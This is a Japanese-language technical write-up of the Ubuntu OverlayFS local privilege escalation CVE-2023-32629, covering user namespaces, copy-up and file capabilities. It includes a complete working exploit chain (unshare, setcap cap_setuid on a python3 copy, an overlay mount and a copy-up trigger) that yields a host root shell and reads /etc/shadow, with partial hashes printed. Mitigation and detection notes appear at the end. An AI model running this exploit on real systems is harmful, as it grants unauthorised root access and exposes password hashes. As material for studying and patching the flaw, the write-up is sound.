
OverlayFS ローカル権限昇格 - 完全な解説から完全な昇格まで
教育および許可されたセキュリティ研究目的に限ります。
重要度: 高
種類: ローカル権限昇格 (LPE)
影響を受ける: Ubuntu カーネル (2023年5月/6月のパッチより前)
必要条件: 非特権ユーザ名前空間が有効 (Ubuntu ではデフォルトで有効)
CVE-2023-32629 は Linux カーネルの OverlayFS 実装における脆弱性です。ユーザ名前空間 と ファイルシステムケーパビリティ が OverlayFS のコピーアップ操作中に相互作用することを悪用し、非特権ユーザから実際のホストルートへのローカル権限昇格を実現します。
unshare -r を実行すると、カーネルは新しいユーザ名前空間を作成し、ホスト UID を内部の UID 0 にマッピングします。
/proc/self/uid_map:
0 1001 1 ← "名前空間内部の UID 0 = 外部の UID 1001 (lowpriv)"
つまり、名前空間内では root として見えますが、ホストカーネルはホストリソースに対するファイルシステム権限チェックを行う際に、常に実際の UID に変換 します。
OverlayFS は lowerdir (読み取り専用) と upperdir (読み書き可能) を重ね合わせてマージされたビューを提供します。マージビューを通じて lowerdir 内のファイルに書き込みが行われると、カーネルはまずそのファイルを upperdir にコピーします。これを コピーアップ と呼びます。
重要: コピーアップは、どの名前空間がトリガーしたかに関係なく、ホストの資格情報 を使用してカーネル自身が実行します。拡張属性 (xattrs) はすべて、ファイルシステムケーパビリティを含めて、この操作中に保持されます。
| メカニズム | ルート所有権が必要 | 付与方法 |
|---|---|---|
| SUID ビット | ✅ はい | chmod u+s |
ケーパビリティ (cap_setuid) | ❌ いいえ | setcap + トラステッド xattr |
この違いがエクスプロイトの核心です。ケーパビリティは、ファイルの所有者に関係なく、xattr のみに基づいてカーネルによって尊重されます。
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
cp と chmod コマンドは 名前空間内 で実行され、そこでは UID 0 がホスト上の lowpriv にマッピングされていました。そのため:
/tmp/rootshell の所有者は lowpriv であり、実際の root ではありませんでしたlowpriv が所有するファイルの SUID は、lowpriv への権限昇格のみを許可します — これは既に持っていた権限ですcp 操作により、バイナリからケーパビリティ xattr も 削除 されましたunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
シェルは 名前空間内でのみ root でした。/etc/shadow へのアクセスを試みると、カーネルは 翻訳されたホスト UID を使用して VFS 権限チェックを実行しました:
プロセス UID (名前空間内): 0 (root に見える)
カーネルによる変換: 0 → 1001 (ホスト上の lowpriv)
/etc/shadow のパーミッション: 640 root:shadow
実効的なチェック UID: 1001 (lowpriv)
結果: EACCES — 権限が拒否されました
名前空間のバブルは、ホストファイルシステムリソースに触れるとき、実際のホストルートに突破することはありません。
# Step 1: 名前空間内で OverlayFS をセットアップして EXIT
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch がカーネルコピーアップをトリガー: l/python3 → u/python3
# カーネルは HOST 資格情報でコピーアップを実行し、cap_setuid xattr を保持
# Step 2: ホストファイルシステム上でケーパビリティが保持されていることを確認
getcap u/python3
# u/python3 cap_setuid=eip ← トラステッド xattr がホスト FS に設定済み
# Step 3: 名前空間の外部で実行
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. ユーザ名前空間内で setcap 実行
│
│ l/python3 にトラステッド xattr として cap_setuid を書き込み
▼
2. touch m/python3 → OverlayFS コピーアップがトリガー
│
│ カーネルが HOST 資格情報を使用して l/ → u/ をコピー
│ すべての xattr が保持され、cap_setuid も含まれる
▼
3. u/python3 がホストファイルシステム上に存在
│
│ 所有者: lowpriv (ケーパビリティには無関係)
│ xattr: cap_setuid=eip (カーネルがこれを信頼)
▼
4. 名前空間の外部で u/python3 を実行
│
│ UID マッピングは有効ではない
│ カーネルは cap_setuid=eip をホストレベルのケーパビリティとして読み取る
│ os.setuid(0) → 実際のホストルート
▼
5. シェルが真の UID 0 を取得
│
│ VFS チェックが実際の root として通過
└─ /etc/shadow が読み取り可能
カーネルは、コピーアップ中にユーザ名前空間内から設定されたトラステッドケーパビリティ xattr を 尊重すべきではありません。なぜなら、これらの xattr はホストレベルの信頼を保持しているからです。この境界を強制しないことがバグです。
名前空間により、ファイルにトラステッドケーパビリティを設定する能力が得られました。カーネルのコピーアップにより、そのケーパビリティがホストファイルシステムに密輸されました。名前空間の外部で実行することで、それが現実のものとなりました。
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs の組み合わせを監視するこのツールは 教育目的および許可されたセキュリティテストのみ を目的として提供されています。あなたが所有していない、または明示的な書面による許可を得ていないシステムに対する不正使用は違法です。作者は誤用について一切の責任を負いません。
| 名前空間内部 | 名前空間外部 |
|---|
| UID 0 の意味 | lowpriv (マッピング済み) | 実際のルート |
setuid(0) の効果 | 効果なし (既に NS-root) | 実際の権限昇格 |
| ホスト FS へのアクセス | 翻訳 → lowpriv | 完全なルート |
cap_setuid が尊重される | NS 内のみ | はい、ホストレベル |